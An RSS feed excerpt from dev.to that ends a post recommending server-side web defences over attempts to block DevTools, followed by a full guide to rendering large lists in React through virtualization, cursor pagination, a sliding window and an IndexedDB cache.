&lt;strong&gt;Server-side validation&lt;/strong&gt;: editing form values in the Console and submitting → server rejects.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Takeaway
&lt;/h2&gt;

&lt;p&gt;"Disable inspect" is a dead end because &lt;strong&gt;DevTools belongs to the user, not your page&lt;/strong&gt; — and every client-side blocker has a trivial bypass. The thing that actually protects you is the boring, server-side stuff: HTTPS, a strict CSP, SRI, no source maps in prod, and never trusting the client.&lt;/p&gt;

&lt;p&gt;The irony of this project: I set out to write a clever anti-DevTools script and ended up writing an Express middleware that sets six HTTP headers and a Vite config that turns off source maps. The boring defence is the one that works.&lt;/p&gt;

&lt;p&gt;If your threat model is "someone opens DevTools and pastes code into the Console," a strict CSP solves more of that than any &lt;code&gt;debugger&lt;/code&gt; loop ever will. Start there.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Thanks for reading! If you've run into the "disable inspect" temptation — or built a defence-in-depth setup of your own — I'd love to hear about it in the comments.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>react</category>
      <category>security</category>
      <category>javascript</category>
    </item>
    <item>
      <title>Rendering Large Lists on the UI — A Pragmatic Guide</title>
      <dc:creator>Shree Harsha Boyapati</dc:creator>
      <pubDate>Wed, 05 Aug 2026 06:54:25 +0000</pubDate>
      <link>https://dev.to/shreeharsha_boyapati/rendering-large-lists-on-the-ui-a-pragmatic-guide-49na</link>
      <guid>https://dev.to/shreeharsha_boyapati/rendering-large-lists-on-the-ui-a-pragmatic-guide-49na</guid>
      <description>&lt;p&gt;I was working on a couple of projects — one displaying FTP folders and files, another powering a RAG system — where I needed to show lists of data in cards. The lists had to handle large datasets without lagging, crashing, or freezing the browser. I came up with a four-phase plan, tested it in those projects, and then rebuilt it here as a clean reference implementation. This post walks through each phase, what problem it solves, and what trade-offs remain.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Repo:&lt;/strong&gt; &lt;a href="https://github.com/ShreeHarshaBoyapati/List-Rendering" rel="noopener noreferrer"&gt;ShreeHarshaBoyapati/List-Rendering&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Phase 1: Initial List Rendering
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Commit:&lt;/strong&gt; &lt;a href="https://github.com/ShreeHarshaBoyapati/List-Rendering/commit/75c2be7076f5c1c5d70e12e446cbdbfabd9fb009" rel="noopener noreferrer"&gt;&lt;code&gt;75c2be7&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The simplest approach: fetch every item from the backend in one go and render every card as a DOM node.&lt;/p&gt;

&lt;p&gt;The backend was an Express server with an in-memory array — no pagination, no limit. The frontend called &lt;code&gt;GET /api/items&lt;/code&gt;, received the entire dataset as JSON, and rendered it with &lt;code&gt;items.map(...)&lt;/code&gt; inside a &lt;code&gt;&amp;lt;ul&amp;gt;&lt;/code&gt;. CRUD operations were straightforward: &lt;strong&gt;Create&lt;/strong&gt; sent a &lt;code&gt;POST&lt;/code&gt; and prepended the new item; &lt;strong&gt;Update&lt;/strong&gt; sent a &lt;code&gt;PATCH&lt;/code&gt; and spliced the item in place; &lt;strong&gt;Delete&lt;/strong&gt; sent a &lt;code&gt;DELETE&lt;/code&gt; and filtered the item out. After each mutation, the app called &lt;code&gt;loadInitial()&lt;/code&gt; — a full refetch and re-render.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Memory:&lt;/strong&gt; All the JS objects (the entire dataset) sat in the heap, and every card's DOM node was also created and stored in the heap. For 100 items this was fine. For 50,000 it was not.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What went wrong:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Slow rendering after fetch.&lt;/strong&gt; Even after the backend responded, the UI froze for seconds while the browser created 50,000 DOM nodes. The fetch was done, but the user saw nothing.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;JSON body limit.&lt;/strong&gt; When the dataset grew large enough, the response exceeded the JSON body size limit configured in the backend middleware. The request failed outright — no data was rendered at all.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Heap overflow.&lt;/strong&gt; Even if the fetch succeeded, the browser's heap could fill up. The GC collector would thrash trying to free memory, and in extreme cases the tab would crash.&lt;/li&gt;
&lt;/ol&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Demos:&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;


&lt;div class="crayons-card c-embed text-styles text-styles--secondary"&gt;
    &lt;div class="c-embed__content"&gt;
      &lt;div class="c-embed__body flex items-center justify-between"&gt;
        &lt;a href="https://github-production-user-asset-6210df.s3.amazonaws.com/221919793/630232719-32daa580-f1c9-4309-a972-dcda8d95a9fe.webm?X-Amz-Algorithm=AWS4-HMAC-SHA256&amp;amp;X-Amz-Credential=AKIAVCODYLSA53PQK4ZA%2F20260805%2Fus-east-1%2Fs3%2Faws4_request&amp;amp;X-Amz-Date=20260805T065426Z&amp;amp;X-Amz-Expires=300&amp;amp;X-Amz-Signature=1ee23b7b5592725931f2cd3fb57fbd0a42fceab53d382786e7687ff38475d577&amp;amp;X-Amz-SignedHeaders=host&amp;amp;response-content-type=video%2Fwebm" rel="noopener noreferrer" class="c-link fw-bold flex items-center"&gt;
          &lt;span class="mr-2"&gt;github-production-user-asset-6210df.s3.amazonaws.com&lt;/span&gt;
          

        &lt;/a&gt;
      &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;



&lt;div class="crayons-card c-embed text-styles text-styles--secondary"&gt;
    &lt;div class="c-embed__content"&gt;
      &lt;div class="c-embed__body flex items-center justify-between"&gt;
        &lt;a href="https://github-production-user-asset-6210df.s3.amazonaws.com/221919793/630233016-afa3508c-9347-42d3-b7ba-0445ed440951.webm?X-Amz-Algorithm=AWS4-HMAC-SHA256&amp;amp;X-Amz-Credential=AKIAVCODYLSA53PQK4ZA%2F20260805%2Fus-east-1%2Fs3%2Faws4_request&amp;amp;X-Amz-Date=20260805T065427Z&amp;amp;X-Amz-Expires=300&amp;amp;X-Amz-Signature=c7a7c512d1d2ecd7c114608a50e93c44cc6ee0175a6e7d0ab45e60260b22b2b4&amp;amp;X-Amz-SignedHeaders=host&amp;amp;response-content-type=video%2Fwebm" rel="noopener noreferrer" class="c-link fw-bold flex items-center"&gt;
          &lt;span class="mr-2"&gt;github-production-user-asset-6210df.s3.amazonaws.com&lt;/span&gt;
          

        &lt;/a&gt;
      &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;





&lt;h2&gt;
  
  
  Phase 2: Virtualization
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Commit:&lt;/strong&gt; &lt;a href="https://github.com/ShreeHarshaBoyapati/List-Rendering/commit/447c57d5d70e8766bdfa36fe2163e9657e78baf6" rel="noopener noreferrer"&gt;&lt;code&gt;447c57d&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The first problem — slow rendering — was caused by creating DOM nodes for every item. Virtualization fixes this by only rendering the cards visible in the viewport (plus a small overscan buffer).&lt;/p&gt;

&lt;p&gt;I added &lt;a href="https://github.com/bvaughn/react-window" rel="noopener noreferrer"&gt;&lt;code&gt;react-window&lt;/code&gt;&lt;/a&gt;, which provides a &lt;code&gt;&amp;lt;List&amp;gt;&lt;/code&gt; component. You give it a &lt;code&gt;rowHeight&lt;/code&gt; (80px), a &lt;code&gt;rowCount&lt;/code&gt; (the total number of items), and a custom &lt;code&gt;Row&lt;/code&gt; renderer. The library handles the rest — it mounts only the ~10–15 rows that fit on screen and recycles them as you scroll.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Memory:&lt;/strong&gt; The JS objects for all items still lived in the heap, but now only a handful of DOM nodes existed at a time. The virtualization library also maintained a height map in the heap, but this was negligible compared to the full DOM tree from Phase 1.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The win:&lt;/strong&gt; Rendering 50,000 items became instant. The browser only ever had a dozen DOM nodes to worry about.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What remained:&lt;/strong&gt; The backend still sent all 50,000 items in a single JSON response. If the dataset was large enough, the JSON body limit would still kill the request, and the heap could still overflow from the JS objects alone — no DOM needed.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Demo:&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;


&lt;div class="crayons-card c-embed text-styles text-styles--secondary"&gt;
    &lt;div class="c-embed__content"&gt;
      &lt;div class="c-embed__body flex items-center justify-between"&gt;
        &lt;a href="https://github-production-user-asset-6210df.s3.amazonaws.com/221919793/630233107-7dc1d423-154f-4e87-88b9-7eaa7e8d3394.webm?X-Amz-Algorithm=AWS4-HMAC-SHA256&amp;amp;X-Amz-Credential=AKIAVCODYLSA53PQK4ZA%2F20260805%2Fus-east-1%2Fs3%2Faws4_request&amp;amp;X-Amz-Date=20260805T065430Z&amp;amp;X-Amz-Expires=300&amp;amp;X-Amz-Signature=7e94ce56e128d29486d907c586bffd2b5b38ae4caad873a7fb10a723819a7016&amp;amp;X-Amz-SignedHeaders=host&amp;amp;response-content-type=video%2Fwebm" rel="noopener noreferrer" class="c-link fw-bold flex items-center"&gt;
          &lt;span class="mr-2"&gt;github-production-user-asset-6210df.s3.amazonaws.com&lt;/span&gt;
          

        &lt;/a&gt;
      &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;A note on library choice: before reaching for &lt;code&gt;react-window&lt;/code&gt; or any virtualization library, check its bundle size, maintenance status, and vulnerabilities. You can also build your own — it's not much code for fixed-height rows — but I'd start with a proven library.&lt;/p&gt;




&lt;h2&gt;
  
  
  Phase 3: Cursor Pagination + Sliding Window
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Commits:&lt;/strong&gt; &lt;a href="https://github.com/ShreeHarshaBoyapati/List-Rendering/commit/8951667bf6cdfbfc705f092e15fe81027817beb5" rel="noopener noreferrer"&gt;&lt;code&gt;8951667&lt;/code&gt;&lt;/a&gt; (pagination) · &lt;a href="https://github.com/ShreeHarshaBoyapati/List-Rendering/commit/14441fce84d813f4b7772eb17b6f1f749b6eda72" rel="noopener noreferrer"&gt;&lt;code&gt;14441fc&lt;/code&gt;&lt;/a&gt; (CRUD fixes)&lt;/p&gt;

&lt;p&gt;Phase 2 solved the DOM problem. Phase 3 solves the data problem: instead of fetching everything at once, fetch it in pages.&lt;/p&gt;

&lt;h3&gt;
  
  
  Cursor vs. Offset Pagination
&lt;/h3&gt;

&lt;p&gt;I used &lt;strong&gt;cursor (keyset) pagination&lt;/strong&gt;, not offset pagination. The cursor is a &lt;code&gt;base64url&lt;/code&gt;-encoded string of &lt;code&gt;"createdAt,id"&lt;/code&gt; — a compound keyset sorted by &lt;code&gt;createdAt DESC, id ASC&lt;/code&gt;. It's a boundary value: "give me everything that sorts &lt;em&gt;after&lt;/em&gt; this point."&lt;/p&gt;

&lt;p&gt;The key difference: &lt;strong&gt;offsets shift when rows are inserted or deleted; keyset cursors don't.&lt;/strong&gt; If you're on page 3 at offset 100 and someone deletes a row above you, offset 100 now points to a different row. A cursor pointing to a specific &lt;code&gt;(createdAt, id)&lt;/code&gt; boundary stays valid no matter what happens elsewhere in the table.&lt;/p&gt;

&lt;p&gt;On the backend (now backed by Postgres via TypeORM), &lt;code&gt;findNextPage&lt;/code&gt; queries &lt;code&gt;WHERE createdAt &amp;lt; cursor.createdAt OR (createdAt = cursor.createdAt AND id &amp;lt; cursor.id)&lt;/code&gt;, ordered &lt;code&gt;DESC&lt;/code&gt;. &lt;code&gt;findPrevPage&lt;/code&gt; inverts the condition and ordering, then reverses the result to restore &lt;code&gt;DESC&lt;/code&gt; order.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Sliding Window
&lt;/h3&gt;

&lt;p&gt;The frontend keeps at most &lt;code&gt;MAX_PAGES = 3&lt;/code&gt; pages (150 items) in memory. When a new page is fetched at the bottom, the top page is evicted. When a page is fetched at the top, the bottom page is evicted. A &lt;code&gt;pageBoundariesRef&lt;/code&gt; tracks which slice of the &lt;code&gt;items[]&lt;/code&gt; array belongs to which page, along with each page's cursors.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Scroll Problem
&lt;/h3&gt;

&lt;p&gt;Here's the tricky part: when you prepend items (scrolling up), the browser's &lt;code&gt;scrollTop&lt;/code&gt; doesn't change, but the content above has grown — so the viewport jumps to a different item. The user loses their place.&lt;/p&gt;

&lt;p&gt;The fix: capture &lt;code&gt;scrollTop&lt;/code&gt; &lt;em&gt;before&lt;/em&gt; the prepend. Then, in a &lt;code&gt;useEffect&lt;/code&gt; that runs after React has committed the new items, restore the scroll position using pure arithmetic:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;newScrollTop = oldScrollTop + prependedCount × ITEM_HEIGHT
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;No DOM queries needed — &lt;code&gt;react-window&lt;/code&gt; hasn't rendered the anchored row yet at the new offset, so &lt;code&gt;querySelector&lt;/code&gt; would fail. The formula is exact because both states (before capture and after restore) have no loading row, so the math is clean.&lt;/p&gt;
&lt;h3&gt;
  
  
  CRUD Without Full Reload
&lt;/h3&gt;

&lt;p&gt;Commit &lt;code&gt;14441fc&lt;/code&gt; fixed the CRUD operations to work with the sliding window instead of calling &lt;code&gt;loadInitial()&lt;/code&gt; after every mutation:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Op&lt;/th&gt;
&lt;th&gt;Handling&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Create&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;If at the true top (&lt;code&gt;!hasPrev&lt;/code&gt;): prepend to &lt;code&gt;items[]&lt;/code&gt;, shift page boundaries. Else: just set &lt;code&gt;hasPrev = true&lt;/code&gt; — the new item exists above the window.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Splice the updated item in place by &lt;code&gt;id&lt;/code&gt;. Sort position is unchanged (&lt;code&gt;createdAt&lt;/code&gt; and &lt;code&gt;id&lt;/code&gt; are immutable), so all cursors stay valid.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Delete&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Filter the item out locally. If the window becomes empty and &lt;code&gt;hasNext&lt;/code&gt;, auto-trigger &lt;code&gt;loadNext()&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;No full reloads, no scroll jumps.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;A note on TanStack Query: I've seen teams adopt it to reduce CRUD boilerplate. It's genuinely useful when you need to &lt;strong&gt;invalidate a cache from a different component&lt;/strong&gt;. But if your CRUD lives in a single component, plain &lt;code&gt;fetch&lt;/code&gt; (or &lt;code&gt;axios&lt;/code&gt;) is leaner — smaller bundle, fewer abstractions, and the code is just as readable.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Memory:&lt;/strong&gt; Similar to Phase 2, but the dataset coming from the backend is tiny — only one page at a time. The heap holds at most 150 items. It's essentially a sliding window.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Demo:&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;


&lt;div class="crayons-card c-embed text-styles text-styles--secondary"&gt;
    &lt;div class="c-embed__content"&gt;
      &lt;div class="c-embed__body flex items-center justify-between"&gt;
        &lt;a href="https://github-production-user-asset-6210df.s3.amazonaws.com/221919793/630233195-404ce920-5e8b-4ce4-8cb2-c9eb3261dfc7.webm?X-Amz-Algorithm=AWS4-HMAC-SHA256&amp;amp;X-Amz-Credential=AKIAVCODYLSA53PQK4ZA%2F20260805%2Fus-east-1%2Fs3%2Faws4_request&amp;amp;X-Amz-Date=20260805T065431Z&amp;amp;X-Amz-Expires=300&amp;amp;X-Amz-Signature=33d378c5d50aa7d19cfece95067c903138a7daf669bf35815505f6c7b878e56a&amp;amp;X-Amz-SignedHeaders=host&amp;amp;response-content-type=video%2Fwebm" rel="noopener noreferrer" class="c-link fw-bold flex items-center"&gt;
          &lt;span class="mr-2"&gt;github-production-user-asset-6210df.s3.amazonaws.com&lt;/span&gt;
          

        &lt;/a&gt;
      &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;What remained:&lt;/strong&gt; An edge case where a single page contains one extremely large item. The JSON response for that page could still exceed the body limit, or the heap could spike. I hardcoded the page limit, but you could make it dynamic — monitor performance metrics and adjust the limit up or down in a &lt;code&gt;useEffect&lt;/code&gt; to keep things smooth.&lt;/p&gt;




&lt;h2&gt;
  
  
  Phase 4: IndexedDB Cache Layer
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Commit:&lt;/strong&gt; &lt;a href="https://github.com/ShreeHarshaBoyapati/List-Rendering/commit/3b804ecafde562a65da6f5135009bb5980c1c057" rel="noopener noreferrer"&gt;&lt;code&gt;3b804ec&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Phase 3 fixed the data problem but introduced a new one: every time a page was evicted and the user scrolled back, the app hit the backend again. Phase 4 adds a client-side cache to avoid those redundant fetches.&lt;/p&gt;

&lt;h3&gt;
  
  
  Three-Tier Storage
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tier&lt;/th&gt;
&lt;th&gt;Storage&lt;/th&gt;
&lt;th&gt;Contents&lt;/th&gt;
&lt;th&gt;Size&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;1. Heap&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;React state &lt;code&gt;items[]&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Currently visible window&lt;/td&gt;
&lt;td&gt;3 pages (150 items)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;2. IndexedDB&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Browser DB &lt;code&gt;rendering-list-cache&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Recently evicted pages — 3 above + 3 below&lt;/td&gt;
&lt;td&gt;6 pages (300 items)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;3. Backend&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Postgres&lt;/td&gt;
&lt;td&gt;Source of truth&lt;/td&gt;
&lt;td&gt;All items&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;When a page is evicted from the heap, it's written to IndexedDB. When the user scrolls back, the app checks IDB first. A &lt;strong&gt;cache hit&lt;/strong&gt; means no backend call at all. A &lt;strong&gt;cache miss&lt;/strong&gt; falls through to the backend, and the result gets cached on future eviction.&lt;/p&gt;

&lt;h3&gt;
  
  
  Cache Key Scheme
&lt;/h3&gt;

&lt;p&gt;Pages are keyed by the cursor that would be used to fetch them:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Top-evicted page&lt;/strong&gt; (evicted during &lt;code&gt;loadNext&lt;/code&gt;): stored as &lt;code&gt;prev:${cursor}&lt;/code&gt; — scrolling back up calls &lt;code&gt;loadPrev(cursor)&lt;/code&gt;, so we look up &lt;code&gt;prev:${cursor}&lt;/code&gt; in IDB.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Bottom-evicted page&lt;/strong&gt; (evicted during &lt;code&gt;loadPrev&lt;/code&gt;): stored as &lt;code&gt;next:${cursor}&lt;/code&gt; — scrolling back down calls &lt;code&gt;loadNext(cursor)&lt;/code&gt;, so we look up &lt;code&gt;next:${cursor}&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;When a page is restored from IDB to the heap, it's deleted from IDB — a page exists in &lt;strong&gt;exactly one tier at a time&lt;/strong&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  CRUD with IDB Awareness
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Create:&lt;/strong&gt; If the topmost cached page in IDB is the true top (&lt;code&gt;hasPrev = false&lt;/code&gt;), the new item is prepended to that cached page so the user sees it on scroll-up without a backend call. Otherwise, no sync — the backend serves it on cache miss.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Update / Delete:&lt;/strong&gt; Only touch the heap. Since a page lives in exactly one tier, if the item is in the heap, it's not in IDB — no IDB sync needed.&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Demo:&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;


&lt;div class="crayons-card c-embed text-styles text-styles--secondary"&gt;
    &lt;div class="c-embed__content"&gt;
      &lt;div class="c-embed__body flex items-center justify-between"&gt;
        &lt;a href="https://github-production-user-asset-6210df.s3.amazonaws.com/221919793/630233242-f9d8c8e1-e055-4900-917d-3e766b6440bc.webm?X-Amz-Algorithm=AWS4-HMAC-SHA256&amp;amp;X-Amz-Credential=AKIAVCODYLSA53PQK4ZA%2F20260805%2Fus-east-1%2Fs3%2Faws4_request&amp;amp;X-Amz-Date=20260805T065434Z&amp;amp;X-Amz-Expires=300&amp;amp;X-Amz-Signature=5a9c679a67e7135dec5ccb5db83bc34b301a95b78302450f5a8c0895b300abc9&amp;amp;X-Amz-SignedHeaders=host&amp;amp;response-content-type=video%2Fwebm" rel="noopener noreferrer" class="c-link fw-bold flex items-center"&gt;
          &lt;span class="mr-2"&gt;github-production-user-asset-6210df.s3.amazonaws.com&lt;/span&gt;
          

        &lt;/a&gt;
      &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;&lt;strong&gt;What remained:&lt;/strong&gt; The same edge case as Phase 3 — a single extremely large item in a page could still exceed limits. IDB doesn't solve that; it solves the &lt;em&gt;number of backend calls&lt;/em&gt;, not the &lt;em&gt;size of a single response&lt;/em&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Phase&lt;/th&gt;
&lt;th&gt;What it solves&lt;/th&gt;
&lt;th&gt;What remains&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;1. Initial render&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Baseline — fetch all, render all&lt;/td&gt;
&lt;td&gt;Slow render, JSON limit, heap overflow&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;2. Virtualization&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;DOM node count — only visible rows rendered&lt;/td&gt;
&lt;td&gt;JSON limit, heap overflow (all data still fetched)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;3. Cursor pagination&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Data volume — only one page fetched at a time; CRUD-safe cursors&lt;/td&gt;
&lt;td&gt;Single huge item per page could still hit limits&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;4. IndexedDB cache&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Backend call count — evicted pages cached client-side&lt;/td&gt;
&lt;td&gt;Same single-huge-item edge case&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Each phase addresses a specific bottleneck without regressing on the previous one. The result is a list that can handle tens of thousands of items smoothly — visible rows are virtualized, data is paginated with CRUD-safe cursors, the heap is bounded by a sliding window, and recently viewed pages are cached in IndexedDB to avoid redundant fetches.&lt;/p&gt;

</description>
      <category>webdev</category>
    </item>
  </channel>
</rss>
